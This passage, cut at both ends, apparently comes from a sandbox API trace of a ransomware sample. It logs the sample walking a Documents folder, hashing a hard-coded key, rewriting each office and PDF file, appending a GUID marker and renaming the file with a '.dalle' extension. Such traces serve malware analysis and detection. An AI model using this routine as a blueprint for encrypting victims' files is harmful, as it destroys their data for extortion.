hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.517] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x43e4, lpOverlapped=0x0) returned 1 [0122.518] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.518] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.518] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.518] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.519] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.519] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.519] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.519] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.519] GetLastError () returned 0x0 [0122.519] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.519] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.520] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x43e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.520] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.520] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.520] CloseHandle (hObject=0x618) returned 1 [0122.520] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\8SXrSbpJ3InRj4z.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\8sxrsbpj3inrj4z.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\8SXrSbpJ3InRj4z.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\8sxrsbpj3inrj4z.ppt.dalle")) returned 1 [0122.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.521] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.522] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.522] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4105340, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x59ab7b00, ftLastAccessTime.dwHighDateTime=0x1d4d574, ftLastWriteTime.dwLowDateTime=0x59ab7b00, ftLastWriteTime.dwHighDateTime=0x1d4d574, nFileSizeHigh=0x0, nFileSizeLow=0xe2bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fz vkQH.xlsx", cAlternateFileName="FZVKQH~1.XLS")) returned 1 [0122.522] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Fz vkQH.xlsx") returned=".xlsx" [0122.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Fz vkQH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\fz vkqh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.522] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=58047) returned 1 [0122.522] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.524] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe299, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.524] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.525] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe2bf, lpOverlapped=0x0) returned 1 [0122.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.526] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.527] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.527] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.527] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.527] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.527] GetLastError () returned 0x0 [0122.527] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.527] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.528] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe2bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.528] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.528] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.528] CloseHandle (hObject=0x618) returned 1 [0122.529] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Fz vkQH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\fz vkqh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Fz vkQH.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\fz vkqh.xlsx.dalle")) returned 1 [0122.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.530] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f64cf0, ftCreationTime.dwHighDateTime=0x1d4ca20, ftLastAccessTime.dwLowDateTime=0x67a456b0, ftLastAccessTime.dwHighDateTime=0x1d4c600, ftLastWriteTime.dwLowDateTime=0x67a456b0, ftLastWriteTime.dwHighDateTime=0x1d4c600, nFileSizeHigh=0x0, nFileSizeLow=0x166f5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HIQxU.ppt", cAlternateFileName="")) returned 1 [0122.531] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\HIQxU.ppt") returned=".ppt" [0122.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\HIQxU.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\hiqxu.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.532] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=91893) returned 1 [0122.532] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.533] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x166cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.533] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.535] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x166f5, lpOverlapped=0x0) returned 1 [0122.536] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.536] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.536] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.536] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.537] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.537] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.537] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.537] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.537] GetLastError () returned 0x0 [0122.537] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.537] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.538] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x166f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.538] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.538] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.538] CloseHandle (hObject=0x618) returned 1 [0122.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\HIQxU.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\hiqxu.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\HIQxU.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\hiqxu.ppt.dalle")) returned 1 [0122.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.540] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.541] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f399e0, ftCreationTime.dwHighDateTime=0x1d4ccad, ftLastAccessTime.dwLowDateTime=0xe07f6150, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0xe07f6150, ftLastWriteTime.dwHighDateTime=0x1d4d47a, nFileSizeHigh=0x0, nFileSizeLow=0x1a14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I72HRyADAN.pptx", cAlternateFileName="I72HRY~1.PPT")) returned 1 [0122.541] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\I72HRyADAN.pptx") returned=".pptx" [0122.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\I72HRyADAN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\i72hryadan.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.542] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=6676) returned 1 [0122.542] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.543] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x19ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.543] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.545] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1a14, lpOverlapped=0x0) returned 1 [0122.546] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.546] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.546] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.546] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.547] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.547] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.547] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.547] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.547] GetLastError () returned 0x0 [0122.547] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.547] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.547] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.547] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.547] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.547] CloseHandle (hObject=0x618) returned 1 [0122.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\I72HRyADAN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\i72hryadan.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\I72HRyADAN.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\i72hryadan.pptx.dalle")) returned 1 [0122.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.558] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.559] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d16b80, ftCreationTime.dwHighDateTime=0x1d4c873, ftLastAccessTime.dwLowDateTime=0xff57f240, ftLastAccessTime.dwHighDateTime=0x1d4c728, ftLastWriteTime.dwLowDateTime=0xff57f240, ftLastWriteTime.dwHighDateTime=0x1d4c728, nFileSizeHigh=0x0, nFileSizeLow=0x14587, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NvxdP_f.pdf", cAlternateFileName="")) returned 1 [0122.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.559] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\NvxdP_f.pdf") returned=".pdf" [0122.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\NvxdP_f.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\nvxdp_f.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.561] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=83335) returned 1 [0122.561] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.563] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14561, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.563] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0122.564] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.564] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x14587, lpOverlapped=0x0) returned 1 [0122.565] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.565] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.565] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.565] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.566] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.566] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.567] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.567] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.567] GetLastError () returned 0x0 [0122.567] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.567] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.569] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14587, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.570] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.570] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.570] CloseHandle (hObject=0x618) returned 1 [0122.571] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\NvxdP_f.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\nvxdp_f.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\NvxdP_f.pdf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\nvxdp_f.pdf.dalle")) returned 1 [0122.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.572] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8552b0, ftCreationTime.dwHighDateTime=0x1d4cf2b, ftLastAccessTime.dwLowDateTime=0x70e9ba0, ftLastAccessTime.dwHighDateTime=0x1d4c9d2, ftLastWriteTime.dwLowDateTime=0x70e9ba0, ftLastWriteTime.dwHighDateTime=0x1d4c9d2, nFileSizeHigh=0x0, nFileSizeLow=0x16ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QPk6.doc", cAlternateFileName="")) returned 1 [0122.573] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\QPk6.doc") returned=".doc" [0122.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\QPk6.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\qpk6.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.573] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=93920) returned 1 [0122.573] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.574] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16eba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.574] 